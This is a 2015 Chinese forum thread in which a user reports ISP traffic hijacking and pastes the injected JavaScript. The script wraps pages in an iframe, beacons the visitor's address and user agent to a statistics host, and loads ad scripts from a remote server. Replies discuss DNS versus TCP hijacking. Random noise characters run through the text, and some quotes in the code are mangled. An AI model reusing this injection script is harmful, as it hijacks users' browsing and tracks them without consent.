上网奇遇记

hudba

6 @5 G/ h# t- b, p: t- e上网易看新闻半天打不开，发现状态栏在现实访问一个奇怪的域名。心里一惊，难道电脑中毒了？赶紧查看源代码，发现后面加了一段js，真正的新闻内容给iframe了

接下来就是去搜索这个域名，得到v2ex里面也有人遇到这个问题，原来是运营商搞的鬼{:soso_e131:}
" k1 a/ v6 b. _2 L

https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8

http://www.v2ex.com/t/142197

2 \+ {+ |. L9 V/ c' D1 J顺便查下ip138：

这是那段js里面的代码，好象是个半成品还没写入广告数据：
. n: I# C' Y1 z4 X5 }6 L

1. function locationSearch() {
   2 {) k6 c. T2 C% U
2.         var s = getMainJs();
   
3.         if (s == null) {
   6 \- Q0 i$ x: a
4.                 location.reload();
   
5.         }
   
6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
   
7. }
   
8. 
   : v, V: q& v+ R
9. function getParameter(name, paraStr) {
   3 `* H% K: P* s4 G& I. u: C
10.         var result = "";
    : R2 S) ], Y1 U/ L1 D7 Z3 i) v/ H  D) r' j
11.         var str = "&" + paraStr.split("?")[1];
    
12.         var paraName = "&" + name + "=";
    
13.         if (str.indexOf(paraName) != -1) {
    
14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {
    
15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);
    
16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
    
17.                                         1, TmpStr.length).indexOf("&")
    
18.                                         - TmpStr.indexOf(paraName) + 1);
      _7 {5 j4 M7 U. ]& l6 P7 L
19.                 } else {
    8 M1 J+ r, Y' t5 `) o9 z  D7 Q& D
20.                         result = str.substring(str.indexOf(paraName), str.length);
    % }* B" N, j# b' C, ?, Z
21.                 }
    $ G" T. E0 E0 u. ?: G/ K' w' K
22. 
    0 Q, H1 {' n9 q
23.                 result = result.substring(result.indexOf("=") + 1, result.length);
    
24.         } else {
    # S2 P/ p8 j0 Z! A& Q' y4 c
25.                 result = "No such parameter";
    
26.         }
    8 s0 z2 |: c, a$ E
27.         return (result.replace("&", ""));
    
28. }
    7 g' C. S3 b% v9 ?/ y
29. 
    
30. function getMainJs() {
    5 o" C1 [5 d0 I9 H) P( G; z8 U- Z
31.         var scripts = document.getElementsByTagName("script");
    : \3 c) F* i# K& {  ]% T
32.         var s = null;
    
33.         for (var i = 0; i < scripts.length; i++) {
    
34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
    
35.                         s = scripts[i];
    8 d; y. F" F5 M, x
36.                         break;
    5 G' p) T2 {4 k/ S; j, j
37.                 }
    
38.         }
    
39.         return s;
    2 [  q6 t, p1 Y, n, e
40. }
    
41. 
    
42. function appendParam(oStr, aStr) {
    2 Y+ o( J/ u! {4 n0 E
43.         if (oStr.indexOf('?') > 0) {
    / N4 m; N1 I* P
44.                 oStr = oStr + "&" + aStr;
    + n# W' \8 O5 ^5 P2 S  }
45.         } else {
    8 @' ~" J- }' F) F! T4 G
46.                 oStr = oStr + "?" + aStr;
    
47.         }
    
48.         return oStr;
    
49. }
    $ t2 h% K, }% _- {' V+ Y
50. 
    ; o) h  g+ T" v0 R% H
51. window.onerror = function() {
    
52. };
    
53. 
    " t5 |" q! x+ |
54. var g_titleTime = 0;
    , O4 h+ h$ H" ]6 F
55. function setTcTitle() {
    
56.         if (undefined == document) {
    1 p6 X; r4 @* c
57.                 g_titleTime++;
    
58.                 setTimeout("setTcTitle();", 1000);
    8 {) Q, r1 c6 p; |
59.                 return;
    ! ^. i$ C( d9 z; F; d; T+ x
60.         }
    
61. 
    
62.         var doc;
    1 A8 O1 R& o9 x3 `
63.         try {
    
64.                 if (document.all) {
    3 g8 f, i, p9 q! t
65.                         doc = document.frames["cn"].document;
    
66.                 } else {
    2 ]% i8 p1 w1 H8 x
67.                         doc = document.getElementById("cn").contentDocument;
    7 }8 l+ C! z6 p: f# r
68.                 }
    : |" {4 a$ G% m* N& X3 g. _1 z
69.         } catch (ex) {
    ; e; [4 E1 u4 w4 |
70.         }
    0 e" i. p! u4 S' z0 q
71. 
    / R2 s- |1 P4 g# _* i
72.         if (g_titleTime < 5
    & t. B9 Y: Y; z) ?
73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {
    
74.                 g_titleTime++;
    9 s! N0 m% r& j4 z! A6 l5 q) O/ p
75.                 setTimeout("setTcTitle();", 1000);
    
76.                 return;
    9 j( r: G& T2 k2 s' P% ^1 E0 z! f. }
77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    
78.                 document.title = doc.title;
    
79.                 setTcAdvVisible();
    
80.         }
    ) b8 ~0 k$ R) ]
81. }
    ' c4 l" |' b' ?& {, n' t" F
82. 
    
83. setTimeout("setTcTitle();", 1000);
    
84. 
    
85. var g_isHaveVisible = false;
    ' ]) ~6 x# I( A  }. G3 P' E3 H
86. function setTcAdvVisible() {
    4 u) d# X2 `  a0 P! ]
87.         if (undefined != document && undefined != document.getElementById("addiv")
    
88.                         && !g_isHaveVisible) {
    ' ?6 _9 Y0 h( O# u* y+ b2 M
89.                 document.getElementById("addiv").style.visibility = 'visible';
    
90.                 document.getElementById("addiv").style.display = 'block';
    / f' |9 F' L8 K( `- a, |
91.                 g_isHaveVisible = true;
    
92.         }
      n3 B' H- H3 t! J- N
93. }
    , \1 N' O4 B& b; @' f9 W5 L- p
94. 
    
95. function UrlAnalyzer() {
    
96.         this.divda = "";
    
97.         this.tctype = "";
    6 T. S! ]7 K! x. a$ s4 w2 G
98.         this.radius = "";
    ( l1 g. A* L8 j
99.         this.rlu = "";
    
100. }
     6 W" y  c2 J6 }8 _  [- d4 [3 B
101. 
     # U( ^) ^1 R" a8 Y+ N* G5 c( N
102. UrlAnalyzer.prototype.initParameters = function() {
     
103.         var paraStr = locationSearch();
     0 q7 h" Y" K# @: R
104.         this.rlu = getParameter("lruedct", paraStr);
     
105.         this.divda = getParameter("divda", paraStr);
     
106.         this.radius = getParameter("radius", paraStr);
     
107.         this.tctype = getParameter("tctype", paraStr);
     % v" t; G7 G' }  I0 c* b6 J
108.         this.address = getParameter("address", paraStr);
     
109.         this.usagent = getParameter("usagent", paraStr);
     1 t+ S$ y6 P) e/ `& `
110. }
     
111. 
     
112. UrlAnalyzer.prototype.getHtmlDoc = function() {
     3 t  b+ T* ]; D$ R' L/ e
113.         var doc;
     
114.         try {
     3 O; R2 }9 j' u+ A) G9 B1 \) n3 r
115.                 if (document.all) {
     
116.                         doc = document.frames["cn"].document;
     
117. 
     , _0 }( ?* s+ R7 V0 d: h
118.                 } else {
     
119.                         doc = document.getElementById("cn").contentDocument;
     % T6 v" \4 x( l- a
120.                         // doc = document.getElementById("cn").contentWindow.document;
     # L9 Z& V7 \6 |# g5 Y" G0 F7 O
121.                 }
     
122.         } catch (ex) {
     7 `; J  u* Z5 O
123.         }
     / P/ a: b7 l, @: \
124.         return doc;
     8 J2 ]! l( M% I! I1 j& A
125. }
     . U3 p) q5 D8 _- m
126. 
     
127. UrlAnalyzer.prototype.setDomain = function() {
     
128.         if (undefined != document.title && "" == document.title)
     
129.         {
     8 v4 F# y  n" d& `
130.                 var index = document.domain.indexOf(".");
     
131.                 if (undefined != index && -1 != index) {
     ( b5 w; [/ {) x- ], E/ Z
132.                         document.domain = document.domain.substring(index + 1,
     
133.                                         document.domain.length);
     
134.                 }
     & s$ r9 O0 M2 p& X7 c* l
135.                
     
136.                 var doc = this.getHtmlDoc();
     ( B8 V  |/ A5 e/ P9 Q) g
137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {
     + l( H) @1 [+ @
138.                         document.title = doc.title;
     : L* D9 k/ w6 `. }; z, F1 J% T
139.                         setTcAdvVisible();
     
140.                 }
     
141.         }
     
142. }
     ) D0 o: y* V. v6 [8 [
143. 
     , e* h" J( S  Q( Z. ?
144. UrlAnalyzer.prototype.iframeCallback = function() {
     
145.         var doc = this.getHtmlDoc();
     1 u( n/ {5 k) Q. o( _% n
146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {
     
147.                 if (undefined != document.domain) {
     / S! U/ y( E" V
148. 
     * \8 \% f5 v  J' t
149.                         var self = this;
     
150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);
     
151.                         // var index = document.domain.indexOf(".");
     0 B9 K3 h* ^7 ]: j9 G. v
152.                         // if (undefined != index && -1 != index) {
     3 t% W" U+ T  Y# f/ u0 n
153.                         // document.domain = document.domain.substring(index + 1,
     
154.                         // document.domain.length);
     , s$ O/ u% ^9 y9 x5 ^
155.                         // }
     , r( V) v8 n2 }* A0 t
156.                         //
     . n" E" ~/ l& w" [) p/ m
157.                         // var doc = this.getHtmlDoc();
     
158.                         // if (undefined != doc && undefined != doc.title && "" !=
     
159.                         // doc.title) {
     
160.                         // document.title = doc.title;
     
161.                         // setTcAdvVisible();
     2 X( A' R* @: O5 g4 K6 L
162.                         // }
     9 x' ^! B* m' O# I. f! X
163.                 }
     " s3 y  z) h) K+ f( B' _
164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
       g; B1 \1 N" ?  C; {
165.                 document.title = doc.title;
     
166.                 setTcAdvVisible();
     / V# U5 O1 q6 v7 c
167.         }
     
168. }
     ; ]; w7 |2 D  O0 K; M- n0 N6 f
169. 
     
170. UrlAnalyzer.prototype.executeHtmlContext = function() {
     ; ]8 s) ~% V& [" C2 g7 U
171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
     0 A: \2 W2 q6 e3 y3 y5 N
172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;
     8 r2 o4 X$ z) x! ?
173. 
     " Y& q- G2 W5 e  A2 s% F
174.         var htmlStr = "<iframe src="" + staUrl
     ; p0 R' F9 E$ i/ w' Q( E
175.                         + "" style="display:none"></iframe>";
     
176. 
     
177.         var advUrl = htmlStr
     
178.                         + "<script src="http://c2.sxite.com:8060/center?advId="
     
179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";
     2 L, r/ f5 A% U2 f" S9 P
180.         document.write(advUrl);
     - J! |, F; @, l; Z
181. 
     0 @) d: q- G. d& t
182.         var self = this;
     
183.         var iframe = document.getElementById("cn");
     $ _( U8 `* o6 V# b- N% J9 S
184.         if (iframe.attachEvent) {
     
185.                 iframe.attachEvent("onload", function() {
     5 [$ N3 X  ?8 R
186.                         self.iframeCallback.call(self, null);
     8 a( _0 T' w: P( f% y0 b7 P
187.                 });
     5 ^# e" I# d) B# d
188.         } else {
     
189.                 iframe.onload = function() {
     0 z+ k/ j* y1 u' M. F- D
190.                         self.iframeCallback.call(self, null);
     
191.                 }
     
192.         }
     ; ~2 g; _, n! l# E5 ~, V! ^, n
193. }
     
194. 
     . z9 L1 ?/ h& @. D
195. UrlAnalyzer.prototype.executeMain = function() {
     : \4 `0 M3 {* o# ~
196.         var mainFrame = document.getElementById("cn");
     ) n3 Y& G. e0 E0 ?! I1 a) G
197.         mainFrame.contentWindow.location.href = mainFrame.src;
     
198.         this.initParameters();
     ; C0 h. y6 ^2 i
199.         this.executeHtmlContext();
     
200. }
     
201. 
     / {4 b  z: k- x0 x+ w. J  G6 @/ T
202. var g_analyzer = new UrlAnalyzer();
     ) d5 l$ E0 n% ^& s5 k
203. g_analyzer.executeMain();
     

复制代码

5 x' `1 |* n0 |4 M5 Y

ads419

Welcome to China      

cissss

我在想有没有大牛会去干电信那个网页，那就发啦。哈哈

阿百川

所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

firearmer

法制不健全，没法。我这里也有电信绑架的问题，但你没辙，要国外，早赔的只剩内裤了。

老刘

电信DNS劫持不是一天两天了。国家垄断企业，没人能管”。。。

giveatry

我这段时间也遇到了，投诉了两次，这几天没出现了，再出现继续投诉

ads419

阿百川 发表于 2015-2-3 09:49
. j8 j8 r$ W9 W, Y. T; j4 r所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...

TCP劫持，换DNS也不管用的。

阿百川

ads419 发表于 2015-2-3 21:26
, O% X, \/ [% Z  C7 ?TCP劫持，换DNS也不管用的。

幸好联通还木有这么强的技术

哈默

在国内，习惯就好